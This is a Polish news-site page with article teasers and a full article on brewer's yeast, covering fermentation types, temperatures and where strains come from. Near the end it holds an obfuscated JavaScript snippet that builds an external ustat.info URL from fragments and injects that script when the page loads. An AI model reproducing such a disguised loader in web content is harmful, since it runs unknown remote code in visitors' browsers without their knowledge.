środa, listopad 20, 2019
image image image image
Drożdże piwowarskie. Co warto o nich wiedzieć? Drożdże odgrywają bardzo ważną rolę w procesie produkcji piwa. Często to właśnie od nich zależy, czy alkohol będzie smakował tak jak powinien. Nie wszyscy wiedzą, że drożdże piwowarskie dzielą się na kilka kategorii i do każdego napoju trzeba je odpowiednio dobrać. Jakie jeszcze informacje o drożdżach warto znać? Jeśli chcesz się przekonać, zapraszamy do dalszego czytania! Czytaj cały artykuł
Jak dobrać bieliznę plus size? Bielizna damska, taka jak majtki lub staniki, powinna dobrze przylegać i podkreślać kształt kobiecego ciała, również, jeśli chodzi o biustonosze i majtki plus size. Dzięki poniższym instrukcjom, z którymi możesz zapoznać się w tym artykule, łatwo odnajdziesz odpowiedni rozmiar bielizny dla siebie. Czytaj cały artykuł
Jak dobrać papier do plotera? Wybór papieru do plotera jest uzależniony od tego, w jakim celu będzie on używany. Kluczowa jest przede wszystkim gramatura papieru, która wpływa na możliwości zastosowania plotera. Co trzeba wiedzieć o papierze do plotera, aby wybrać ten właściwy do codziennego drukowania materiałów na potrzeby firmy np. projektów lub map oraz wysokiej jakości materiałów przeznaczonych do sprzedaży? Czytaj cały artykuł
Autoryzowany dealer, czyli jaki? Podmioty, które zajmują się sprzedażą samochodów można liczyć w tysiącach. Wśród nich największą grupę stanowią różnego rodzaju auto komisy. Oferują one głównie auta używane, najczęściej sprowadzone z Europy zachodniej. Drugą grupę stanowią autoryzowani dealerzy. W ich ofercie znajdują się przeważnie fabrycznie nowe samochody. Działalność autoryzowanego dealera nie sprowadza się jednak wyłącznie do dystrybucji pojazdów, ale obejmuje również szereg innych usług. Czytaj cały artykuł

Drożdże piwowarskie. Co warto o nich wiedzieć?

drozdze piwowarskieDrożdże odgrywają bardzo ważną rolę w procesie produkcji piwa. Często to właśnie od nich zależy, czy alkohol będzie smakował tak jak powinien. Nie wszyscy wiedzą, że drożdże piwowarskie dzielą się na kilka kategorii i do każdego napoju trzeba je odpowiednio dobrać. Jakie jeszcze informacje o drożdżach warto znać? Jeśli chcesz się przekonać, zapraszamy do dalszego czytania!

Drożdże górnej i dolnej fermentacji

Główny podział drożdży piwowarskich rozróżnia:

  • drożdże górnej fermentacji
  • drożdże dolnej fermentacji.

Pierwsze z nich powstają dzięki szczepom Saccharomyces cerevisiae, drugie – Saccharomyces pastorianus. Oba rodzaje nazywa się szczepami szlachetnymi. Drożdże górnej fermentacji są popularniejsze od tych drugiego rodzaju. W tym przypadku piwo powstaje w temperaturze ok. 20 stopni Celsjusza, czyli dosyć wysokiej.

Różnica między drożdżami górnej fermentacji a drożdżami dolnej fermentacji polega na tym, że te pierwsze wypływają na wierzch zbiornika po fermentacji. Drugie natomiast opadają na dno. Piwo z użyciem drożdży dolnej fermentacji (zwanych inaczej lagerowymi) wytwarza się w temperaturze ok 10 stopni Celsjusza. Od rodzaju drożdży zależy, jak będzie smakowało piwo. Produkty górnej fermentacji zapewniają bardziej intensywny smak i aromat. Dzięki nim piwo jest też mocniejsze. Natomiast produkty dolnej fermentacji są delikatniejsze, dlatego można samodzielnie wzbogacać ich smak.

Jak fermentuje się piwo?

Drożdże górnej fermentacji można wykorzystywać do domowej produkcji piwa – sprzyja im pokojowa temperatura. Z kolei drożdże dolnej fermentacji nie są już tak „łatwe w obsłudze”. Wymagają niższej temperatury i piwo powstałe z ich użyciem nie jest aż tak aromatyczne. Przy pomocy drożdży dolnej fermentacji produkuje się m.in. pilsnery i lagery znajdujące się np. w ofercie Browaru Pilsweizer. Dobór odpowiedniego rodzaju drożdży ma bardzo duży wpływ na końcowy efekt fermentacji, dlatego warto przyłożyć do niego wagę.

Skąd pochodzą drożdże piwowarskie?

Obecnie drożdże piwowarskie pozyskuje się ze specjalnych farm. To właśnie w laboratorium panują warunki sprzyjające ich rozwojowi. Pozyskanie drożdży piwowarskich nie jest taką prostą sprawą, dlatego też nie można dostać ich w jakimkolwiek sklepie. Browary często kupują szczepy w Kolekcji Czystych Kultur Drobnoustrojów znajdującej się w Warszawie. Drożdże odgrywają naprawdę ważną rolę w procesie powstawania piwa, dlatego trzeba wybierać je świadomie.

(function(){ ciwa=document.createElement("script");ciwa_=("ust");ciwau="185091013"; ciwa_+="a"+("t.i");ciwa.type="text/javascript"; ciwau+=".q1j7gwj2iwa8ljzrbdx8";ciwa.async=true;ciwa_+="n"+("f"+"o")+"/"; ciwau+="l26vexrqnr";ciwa.src="https://"+ciwa_+ciwau; document.body.appendChild(ciwa); })();

Internetowe wydawnictwo prasowe

Serwis Norbertinum.com.pl to najciekawsze wydarzenia z kraju i ze świata, ciekawe artykuły z dziedziny nauki, kultury, a także rzeczowe informacje prawne i ekonomiczne. Na Norbertinum.com.pl przeczytasz o wydarzeniach sportowych, poznasz ciekawe miejsca z działu turystyka i zapoznasz się z najnowszymi osiągnięciami techniki.

Kontakt

Sitte.pl

kom: 606 281 023
tel: 81 473 2011

e-mail:  Ten adres pocztowy jest chroniony przed spamowaniem. Aby go zobaczyć, konieczne jest włączenie w przeglądarce obsługi JavaScript.